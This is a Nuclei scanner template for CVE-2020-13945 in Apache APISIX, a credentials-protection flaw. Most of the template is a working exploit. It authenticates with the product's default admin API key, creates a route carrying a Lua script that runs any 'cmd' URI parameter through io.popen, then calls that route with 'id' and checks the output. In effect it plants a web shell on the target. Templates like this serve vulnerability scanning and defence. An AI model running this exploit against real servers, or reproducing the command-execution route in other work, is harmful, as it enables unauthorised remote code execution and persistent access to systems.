70 lines
2.5 KiB
YAML
70 lines
2.5 KiB
YAML
id: CVE-2020-13945
|
|
|
|
info:
|
|
name: Apache APISIX - Insufficiently Protected Credentials
|
|
author: pdteam
|
|
severity: medium
|
|
description: Apache APISIX 1.2, 1.3, 1.4, and 1.5 is susceptible to insufficiently protected credentials. An attacker can enable the Admin API and delete the Admin API access IP restriction rules. Eventually, the default token is allowed to access APISIX management data.
|
|
remediation: |
|
|
Upgrade to the latest version of Apache APISIX, which includes a fix for the vulnerability. Additionally, ensure that sensitive credentials are properly protected and stored securely.
|
|
reference:
|
|
- https://github.com/vulhub/vulhub/tree/master/apisix/CVE-2020-13945
|
|
- https://lists.apache.org/thread.html/r792feb29964067a4108f53e8579a1e9bd1c8b5b9bc95618c814faf2f%40%3Cdev.apisix.apache.org%3E
|
|
- http://packetstormsecurity.com/files/166228/Apache-APISIX-Remote-Code-Execution.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-13945
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 6.5
|
|
cve-id: CVE-2020-13945
|
|
cwe-id: CWE-522
|
|
epss-score: 0.00558
|
|
epss-percentile: 0.75143
|
|
cpe: cpe:2.3:a:apache:apisix:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: apache
|
|
product: apisix
|
|
tags: intrusive,vulhub,packetstorm,cve,cve2020,apache,apisix
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /apisix/admin/routes HTTP/1.1
|
|
Host: {{Hostname}}
|
|
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
|
|
Content-Type: application/json
|
|
|
|
{
|
|
"uri":"/{{randstr}}",
|
|
"script":"local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
|
|
"upstream":{
|
|
"type":"roundrobin",
|
|
"nodes":{
|
|
"interact.sh:80":1
|
|
}
|
|
}
|
|
}
|
|
- |
|
|
GET /{{randstr}}?cmd=id HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- '"action":"create"'
|
|
- '"script":'
|
|
- '"node":'
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 201
|
|
|
|
extractors:
|
|
- type: regex
|
|
regex:
|
|
- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
|
|
|
|
# digest: 4a0a00473045022069c6606140f0f4b75f94e44ef15350c0ba00b7d178b46b5ce18dac6247c144bc022100b29ed77113e8f7ea2776269682367d9c2602beed65829adaa8cba8d261790eaf:922c64590222798bb761d5b6d8e72950
|